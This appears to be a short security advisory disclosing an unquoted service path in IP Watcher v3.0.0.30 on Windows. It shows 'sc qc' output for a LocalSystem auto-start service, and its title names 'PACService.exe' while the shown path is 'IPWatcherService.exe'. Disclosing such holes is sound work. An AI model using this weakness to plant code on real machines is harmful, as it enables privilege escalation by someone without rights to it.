IP Watcher v3.0.0.30 PACService.exe Unquoted Service Path

2020.10.28

Credit: Mohammed Alshehri

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

# Exploit Title: IP Watcher v3.0.0.30 - 'PACService.exe' Unquoted Service Path
# Date: 2020-8-25
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.gearboxcomputers.com/
# Software Link: https://www.gearboxcomputers.com/files/IPWatcherSetup.exe
# Version: 3.0.0.30
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763

# Service info:

C:\Users\m507>sc qc IPWatcherSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IPWatcherSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\IP Watcher\IPWatcherService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IPWatcherService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.

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